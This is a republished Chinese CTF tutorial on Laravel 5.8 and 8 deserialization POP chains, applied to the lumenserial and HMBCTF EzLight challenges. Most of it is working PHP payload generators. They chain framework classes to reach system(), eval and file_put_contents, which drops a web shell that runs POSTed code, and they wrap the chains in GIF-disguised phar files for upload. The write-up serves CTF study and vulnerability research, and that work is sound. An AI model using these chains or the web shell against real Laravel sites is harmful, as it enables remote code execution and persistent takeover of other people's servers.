zoukankan      html  css  js  c++  java
  • 通过几道CTF题学习Laravel框架

    Laravel5.8.x反序列化POP链

    安装:其中--prefer-dist表示优先下载zip压缩包方式

    composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8

    在路由文件routes/web.php中添加

    Route::get('/foo', function () {
      if(isset($_GET['c'])){
          $code = $_GET['c'];
          unserialize($code);
      }
      else{
          highlight_file(__FILE__);
      }
      return "Test laravel5.8 pop";
    });

    然后在public目录起一个php服务就可以进行测试了

    cd /public
    php -S 0.0.0.0:port
    /foo?c=

    链一

    链的入口是在laravel5.8vendorlaravelframeworksrcIlluminateBroadcastingPendingBroadcast.php

    public function __destruct()
      {
          $this->events->dispatch($this->event);
      }

    这里的$this->events$this->event可控,这里把$this->events设为含有dispatch方法的Dispatcher类,我们看到laravel5.8vendorlaravelframeworksrcIlluminateBusDispatcher.php

    public function dispatch($command)
      {
          if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
              return $this->dispatchToQueue($command);
          }
          return $this->dispatchNow($command);
      }

    跟踪进commandShouldBeQueued

    protected function commandShouldBeQueued($command)
      {
          return $command instanceof ShouldQueue;
      }

    这里要求$command(即传进来的$this->event)要实现ShouldQueue该接口

    满足ShouldQueue接口的实现类即可,再跟踪进dispatchToQueue看一下

    public function dispatchToQueue($command)
      {
          $connection = $command->connection ?? null;

          $queue = call_user_func($this->queueResolver, $connection);

    这里的$this->queueResolver$connection都是可控的,到这里就可以直接构造payload

    rce

    <?php
    namespace IlluminateBroadcasting {
      class PendingBroadcast {
          protected $events;
          protected $event;
          public function __construct($events, $event) {
              $this->events = $events;
              $this->event = $event;
          }
      }
      class BroadcastEvent {
          public $connection;
          public function __construct($connection) {
              $this->connection = $connection;
          }
      }
    }
    namespace IlluminateBus {
      class Dispatcher {
          protected $queueResolver;
          public function __construct($queueResolver){
              $this->queueResolver = $queueResolver;
          }
      }
    }
    namespace {
      $c = new IlluminateBroadcastingBroadcastEvent('whoami');
      $b = new IlluminateBusDispatcher('system');
      $a = new IlluminateBroadcastingPendingBroadcast($b, $c);
      print(urlencode(serialize($a)));
    }

    eval执行

    到这里已经可以调用任意类的任意方法了,但是call_user_func无法执行eval函数,如果我们的systemban了的话,就需要继续寻找执行任意命令的函数,我们找到laravel5.8vendormockerymockerylibraryMockeryLoaderEvalLoader.php

    class EvalLoader implements Loader
    {
      public function load(MockDefinition $definition)
      {
          if (class_exists($definition->getClassName(), false)) {
              return;
          }

          eval("?>" . $definition->getCode());
      }
    }

    这里有一个eval函数,这里需要绕过eval上面的if语句,否则直接就return

    $definition变量是MockDefinition类,跟进一下

    class MockDefinition
    {
      protected $config;
      protected $code;
      ...
      public function getClassName()
      {
          return $this->config->getName();
      }
      public function getCode()
      {
          return $this->code;
      }
    }

    这里$code$config可控,但是呢$definition->getClassName()需要一个不存在的类,我们找一个类其getName是可控的,然后构造一个不存在的类即可,如下

    laravel5.8vendormockerymockerylibraryMockeryGeneratorMockConfiguration.php

    class MockConfiguration
    {
      ...
    public function getName()
      {
          return $this->name;
      }
      ...
    }

    payload如下

    <?php
    namespace IlluminateBroadcasting{
      class PendingBroadcast{
          protected $events;
          protected $event;
          public function __construct($events, $event)
          {
              $this->event = $event;
              $this->events = $events;
          }
      }
    }
    namespace IlluminateBroadcasting{
      class BroadcastEvent
      {
          public $connection;

          public function __construct($connection)
          {
              $this->connection = $connection;
          }
      }
    }
    namespace IlluminateBus{
      class Dispatcher
      {
          protected $queueResolver;

          public function __construct($queueResolver)
          {
              $this->queueResolver = $queueResolver;
          }
      }
    }
    namespace MockeryGenerator{
      class MockDefinition
      {
          protected $config;
          protected $code;

          public function __construct(MockConfiguration $config)
          {
              $this->config = $config;
              $this->code = '<?php phpinfo();?>';
          }
      }
    }

    namespace MockeryGenerator{
      class MockConfiguration
      {
          protected $name = "none class";
      }
    }

    namespace MockeryLoader{
      class EvalLoader
      {
          public function load(MockDefinition $definition)
          {

          }
      }
    }
    namespace {
      $config = new MockeryGeneratorMockConfiguration();
      $connection = new MockeryGeneratorMockDefinition($config);
      $event = new IlluminateBroadcastingBroadcastEvent($connection);
      $queueResolver = array(new MockeryLoaderEvalLoader(),"load");
      $events = new IlluminateBusDispatcher($queueResolver);
      $pendingBroadcast = new IlluminateBroadcastingPendingBroadcast($events, $event);
      echo urlencode(serialize($pendingBroadcast));
    }

    利用跳板

    如果说靶机禁用了system等函数,我们希望用file_put_contentsshell等双参数的函数呢,这里有一个好的跳板laravel5.8vendorphpoptionphpoptionsrcPhpOptionLazyOption.php

    final class LazyOption extends Option
    {
      ...
      public function filter($callable)
      {
          return $this->option()->filter($callable);
      }
      ...
    private function option()
      {
          if (null === $this->option) {
              /** @var mixed */
              $option = call_user_func_array($this->callback, $this->arguments);

    这里的$this->callback$this->arguments是可控的,但是注意到option的属性是private,无法直接从我们刚刚的call_user_func直接去调用它,但是有许多类似filter的函数里面有调用option

    这里可以直接构造payload

    <?php
    namespace IlluminateBroadcasting {
      class PendingBroadcast {
          protected $events;
          protected $event;
          public function __construct($events, $event) {
              $this->events = $events;
              $this->event = $event;
          }
      }
      class BroadcastEvent {
          public $connection;
          public function __construct($connection) {
              $this->connection = $connection;
          }
      }
    }
    namespace IlluminateBus {
      class Dispatcher {
          protected $queueResolver;
          public function __construct($queueResolver){
              $this->queueResolver = $queueResolver;
          }
      }
    }
    namespace PhpOption{
      final class LazyOption{
          private $callback;
          private $arguments;
          public function __construct($callback, $arguments)
          {
              $this->callback = $callback;
              $this->arguments = $arguments;
          }
      }
    }
    namespace {
      $d = new PhpOptionLazyOption("file_put_contents", ["shell.php", "<?php eval($_POST['cmd']) ?>"]);
      $c = new IlluminateBroadcastingBroadcastEvent('whoami');
      $b = new IlluminateBusDispatcher(array($d,"filter"));
      $a = new IlluminateBroadcastingPendingBroadcast($b, $c);
      print(urlencode(serialize($a)));
    }

    链二

    入口同样是

    public function __destruct()
      {
          $this->events->dispatch($this->event);
      }

    这里转换思路,找某个类没有实现dispatch方法却有__call方法,这里就可以直接调用,找到laravel5.8vendorlaravelframeworksrcIlluminateValidationValidator.php

    class Validator implements ValidatorContract
    {
      ...
    public function __call($method, $parameters)
      {
          $rule = Str::snake(substr($method, 8));

          if (isset($this->extensions[$rule])) {
              return $this->callExtension($rule, $parameters);
          }

    这里的$method是固定的字符串dispatch,传到$rule的时候为空,然后$this->extensions可控

    跟踪进callExtension方法

    protected function callExtension($rule, $parameters)
      {
          $callback = $this->extensions[$rule];

          if (is_callable($callback)) {
              return call_user_func_array($callback, $parameters);

    $callback$parameters可控,于是就可以构造payload

    <?php
    namespace IlluminateBroadcasting{
      class PendingBroadcast{
          protected $events;
          protected $event;

          public function __construct($events, $event)
          {
              $this->events = $events;
              $this->event = $event;
          }
      }
    }

    namespace IlluminateValidation{
      class Validator{
          protected $extensions;
          public function __construct($extensions)
          {
              $this->extensions = $extensions;
          }
      }
    }

    namespace{
      $b = new IlluminateValidationValidator(array(''=>'system'));
      $a = new IlluminateBroadcastingPendingBroadcast($b, 'id');
      echo urlencode(serialize($a));
    }

    这条链在Laravel8里面也是可以用的

    利用跳板

    和上面一样可以加LazyOption这个跳板

    <?php
    namespace IlluminateBroadcasting {
      class PendingBroadcast {
          protected $events;
          protected $event;
          public function __construct($events, $event) {
              $this->events = $events;
              $this->event = $event;
          }
      }
    }

    namespace IlluminateValidation {
      class Validator {
          public $extensions;
          public function __construct($extensions){
              $this->extensions = $extensions;
          }
      }
    }

    namespace PhpOption {
      class LazyOption {
          private $callback;
          private $arguments;
          public function __construct($callback, $arguments) {
              $this->callback = $callback;
              $this->arguments = $arguments;
          }
      }
    }

    namespace {
      $c = new PhpOptionLazyOption("file_put_contents", ["shell.php", "<?php eval($_POST['cmd']) ?>"]);
      $b = new IlluminateValidationValidator(array(''=>array($c, 'filter')));
      $a = new IlluminateBroadcastingPendingBroadcast($b, 'whoami');
      print(urlencode(serialize($a)));
    }

    Laravel8反序列化POP链

    在下面参考链接文章中Laravel8有介绍三条链都很详细,链和上面Laravel5.8也差不太多,就不赘述,然后有一条可以phpnfo的,同样是经典入口类

    laravel859vendorlaravelframeworksrcIlluminateBroadcastingPendingBroadcast.php

    public function __destruct()
      {
          $this->events->dispatch($this->event);
      }

    这里的$this->events$this->event可控

    同样这里有两种方法,要不使$this->events为某个拥有dispatch方法的类,我们可以调用这个类的dispatch方法

    要不就使$this->events为某个类,并且该类没有实现dispatch方法却有__call方法,那么就可以调用这个__call方法了

    看到laravel859vendorlaravelframeworksrcIlluminateViewInvokableComponentVariable.php

    public function __call($method, $parameters)
      {
          return $this->__invoke()->{$method}(...$parameters);
      }

      /**
        * Resolve the variable.
        *
        * @return mixed
        */
      public function __invoke()
      {
          return call_user_func($this->callable);
      }

    这里的_call会直接调用__invoke$this->callable也是我们可控的,不过这里只能调用phpinfo,比较鸡肋,payload如下

    <?php
    namespace IlluminateBroadcasting {
      class PendingBroadcast {
          protected $events;
          protected $event;
          public function __construct($events, $event) {
              $this->events = $events;
              $this->event = $event;
          }
      }
    }
    namespace IlluminateView {
      class InvokableComponentVariable {
          protected $callable;
          public function __construct($callable)
      {
          $this->callable = $callable;
      }
      }
    }

    namespace {
      $b = new IlluminateViewInvokableComponentVariable('phpinfo');
      $a = new IlluminateBroadcastingPendingBroadcast($b, 1);
      print(urlencode(serialize($a)));
    }

    因为这里我们只能控制$this->callable,想要rce的话,还可以去找无参的方法里面带有call_user_func或者eval然后参数可控之类的,但是这里我找了好像没找到,读者有兴趣可以去试试

    CTF题目

    lumenserial

    lumenserial outesweb.php先看到路由文件

    $router->get('/server/editor', 'EditorController@main');
    $router->post('/server/editor', 'EditorController@main');

    再看到

    lumenserialappHttpControllersEditorController.php

    class EditorController extends Controller
    {
    private function download($url)
      {
    ...
          $content = file_get_contents($url);

    发现这里的$url传进file_get_contents可以phar反序列化,然后$url的值来源于doCatchimage 方法中的 $sources 变量

    class EditorController extends Controller
    {
      ...
    protected function doCatchimage(Request $request)
      {
          $sources = $request->input($this->config['catcherFieldName']);
          $rets = [];

          if ($sources) {
              foreach ($sources as $url) {
                  $rets[] = $this->download($url);
              }

    我们看到main发现他是通过call_user_func来调用带do开头的方法

    class EditorController extends Controller
    {
      ...
    public function main(Request $request)
      {
          $action = $request->query('action');

          try {
              if (is_string($action) && method_exists($this, "do{$action}")) {
                  return call_user_func([$this, "do{$action}"], $request);
              } else {

    可以通过如下控制变量

    http://ip/server/editor/?action=Catchimage&source[]=phar://xxx.gif

    然后在上面的5.8链的基础加上如下

    @unlink("test.phar");
    $phar = new Phar("test.phar");//后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
    $phar->setMetadata($pendingBroadcast);//将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test");//添加要压缩的文件
    $phar->stopBuffering();

    上传phar文件再用phar协议打即可

    [HMBCTF 2021]EzLight

    给了source.zip源码,是laravel框架开发的lightcms,先在本地把环境搭起来先,主要是修改.env文件改改数据库信息

    先看到sourcesourceappHttpControllersAdminNEditorController.php

    public function catchImage(Request $request)
      {
      ...
      $files = array_unique((array) $request->post('file'));
          $urls = [];
          foreach ($files as $v) {
              $image = $this->fetchImageFile($v);

    catchImage函数里面以post传给file参数再给到fetchImageFile$url

    protected function fetchImageFile($url)
      {
      if (isWebp($data)) {
                  $image = Image::make(imagecreatefromwebp($url));
                  $extension = 'webp';
              } else {
                  $image = Image::make($data);
              }

    这里的$url可控,这里imagecreatefromwebp因为isWebp的限制无法进入,所以这里的分支是进入Image::make($data);来,我们在此处下一个断点,然后分析一下前面的代码,我们需要在vps上放一个图片的链接,然后在http://127.0.0.1:9001/admin/neditor/serve/catchImage传参数即可动态调试了

    然后一直跟进就可以发现有个file_get_contents函数

    至此结束,这里可以phar反序列化了

    用上面的链一即可

    <?php
    namespace IlluminateBroadcasting {
        class PendingBroadcast {
            protected $events;
            protected $event;
            public function __construct($events, $event) {
                $this->events = $events;
                $this->event = $event;
            }
        }
        class BroadcastEvent {
            public $connection;
            public function __construct($connection) {
                $this->connection = $connection;
            }
        }
    }
    namespace IlluminateBus {
        class Dispatcher {
            protected $queueResolver;
            public function __construct($queueResolver){
                $this->queueResolver = $queueResolver;
            }
        }
    }
    namespace PhpOption{
        final class LazyOption{
            private $callback;
            private $arguments;
            public function __construct($callback, $arguments)
            {
                $this->callback = $callback;
                $this->arguments = $arguments;
            }
        }
    }
    namespace {
        $d = new PhpOptionLazyOption("file_put_contents", ["shell.php", "<?php phpinfo();eval($_POST['cmd']);?>"]);
        $c = new IlluminateBroadcastingBroadcastEvent('whoami');
        $b = new IlluminateBusDispatcher(array($d,"filter"));
        $a = new IlluminateBroadcastingPendingBroadcast($b, $c);
        print(urlencode(serialize($a)));
    
        @unlink("test.phar");
        $phar = new Phar("test.phar");//后缀名必须为phar
        $phar->startBuffering();
        $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
        $phar->setMetadata($a);//将自定义的meta-data存入manifest
        $phar->addFromString("test.txt", "test");//添加要压缩的文件
        $phar->stopBuffering();
        rename('test.phar','test.jpg');
    }
    

    上传之后,在vps上放

    phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif
    

    再到/admin/neditor/serve/catchImagefile传参打就可以了

    本文涉及相关实验:PHP反序列化漏洞实验 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)

    合天智汇:合天网络靶场、网安实战虚拟环境
  • 相关阅读:
    Dynamics AX 2012 R2 配置E-Mail模板
    Dynamics AX 2012 R2 设置E-Mail
    Dynamics AX 2012 R2 为运行失败的批处理任务设置预警
    Dynamics AX 2012 R2 耗尽用户
    Dynamics AX 2012 R2 创建一个专用的批处理服务器
    Dynamics AX 2012 R2 创建一个带有负载均衡的服务器集群
    Dynamics AX 2012 R2 安装额外的AOS
    Dynamics AX 2012 R2 将系统用户账号连接到工作人员记录
    Dynamics AX 2012 R2 从代码中调用SSRS Report
    Dynamics AX 2012 R2 IIS WebSite Unauthorized 401
  • 原文地址:https://www.cnblogs.com/hetianlab/p/14892476.html
Copyright © 2011-2022 走看看